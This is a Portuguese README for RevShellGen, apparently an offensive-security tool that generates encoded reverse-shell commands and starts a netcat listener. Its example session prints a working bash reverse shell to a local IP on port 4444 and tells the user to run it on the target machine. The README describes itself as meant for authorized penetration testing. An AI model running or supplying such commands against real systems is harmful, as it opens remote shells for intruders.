📖 Sobre

RevShellGen é uma poderosa ferramenta de linha de comando que simplifica o processo de geração de comandos de reverse shell. Sem precisar consultar sintaxes, codificar manualmente ou lidar com configurações complicadas. Esta ferramenta lida com tudo com uma interface intuitiva.

🎯 Funcionalidades Principais

• 🖥️ CLI Interativa - Interface amigável baseada em menus
• 🔄 Codificação automática - Suporte a codificação URL e Base64
• 📋 Integração com área de transferência - Copia comandos gerados automaticamente
• 🌐 Detecção de rede - Descoberta automática do endereço IP
• 🎨 Múltiplos tipos de shell - Bash, Python, Netcat, PowerShell e mais
• 🔊 Listener embutido - Configuração automática de listener netcat/ncat
• 🍎 Multiplataforma - Suporte total para Linux e macOS
• 📚 Guia de upgrade TTY - Instruções abrangentes para upgrade de shell

🚀 Início Rápido

Opção 1: Instalar via PyPI

# Instalar via PyPI
pip install revshellgen

# Executar a ferramenta
revshellgen

Opção 2: Instalar a partir do código-fonte

# Clonar o repositório
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Instalar dependências
pip3 install -r requirements.txt

# Executar a ferramenta
python3 revshellgen.py  # ou python3 revshellgen_cli.py

📦 Instalação

Pré-requisitos

• Python 3.6 ou superior
• pip (gerenciador de pacotes Python)

Dependências

O RevShellGen requer os seguintes pacotes Python:

Métodos de Instalação

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # No Windows: venv\Scripts\activate
pip3 install -r requirements.txt

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces

git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Notas Específicas por Plataforma

🐧 Linux

# Talvez seja necessário instalar python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

# Instale o ncat para melhor suporte de listener
brew install nmap  # Inclui ncat

💻 Uso

Fluxo de Trabalho Básico

1. Inicie a ferramenta

   root@kitploit:~

   python3 revshellgen.py
   

2. Configure seu reverse shell

   • Selecione seu endereço IP (detectado automaticamente)
   • Escolha uma porta (ex.: 4444, 9001)
   • Selecione o tipo de shell (bash, python, etc.)
   • Escolha a codificação (nenhuma, URL, Base64)

3. O comando gerado é copiado automaticamente para a área de transferência

4. Inicie o listener (automático)

5. Execute o comando na máquina alvo

📸 Capturas de Tela

Seleção de Shell

Geração de Comando

🐚 Shells Suportados

🔧 Funcionalidades Avançadas

Upgrade de Shell TTY

O RevShellGen agora inclui instruções abrangentes para upgrade de TTY. Após capturar um shell, a ferramenta fornece:

• Métodos passo a passo para spawn de PTY
• Detecção e configuração de tamanho de terminal
• Múltiplas técnicas de upgrade para diferentes ambientes
• Dicas de solução de problemas para problemas comuns
• Comandos de referência rápida

Opções de Codificação

• Nenhuma - Saída de comando bruto
• Codificação URL - Para exploração de aplicações web
• Base64 - Para ofuscação de comandos

Opções de Listener

A ferramenta detecta automaticamente e usa a variante apropriada do netcat:

• ncat (preferido, do pacote nmap)
• nc (netcat tradicional)
• Suporte a sintaxe específica do nc no macOS

📝 Sessão de Exemplo

$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELECIONAR IP ] ----------
[ x ] 192.168.1.10 na eth0
[   ] 10.0.0.5 na tun0
[   ] Especificar manualmente

---------- [ ESPECIFICAR PORTA ] ----------
[ # ] Digite o número da porta : 4444

---------- [ SELECIONAR COMANDO ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ COMANDO REVERSE SHELL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Comando copiado para a área de transferência!
[ + ] Iniciando listener na porta 4444...

🤝 Contribuir

Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request. Para mudanças maiores, abra primeiro uma issue para discutir o que você gostaria de alterar.

Configuração de Desenvolvimento

# Clone seu fork
git clone https://github.com/SEU_USUARIO/revshellgen
cd revshellgen

# Crie um branch
git checkout -b feature/nome-da-sua-feature

# Faça suas alterações e commit
git add .
git commit -m "Adiciona sua funcionalidade"

# Envie para seu fork
git push origin feature/nome-da-sua-feature

# Crie um Pull Request

🐛 Issues e Suporte

Encontrou um bug ou tem uma sugestão? Por favor, abra uma issue no GitHub.

📜 Licença

Este projeto está licenciado sob a GNU General Public License v3.0 - veja o arquivo LICENSE para detalhes.

⚠️ Aviso Legal

Esta ferramenta destina-se exclusivamente a testes de penetração autorizados e fins educacionais.

O uso desta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.

🙏 Agradecimentos

• PayloadsAllTheThings - Referências de reverse shell
• ropnop - Técnicas de upgrade TTY
• PentestMonkey - Folha de dicas de reverse shell
• Todos os contribuidores e usuários desta ferramenta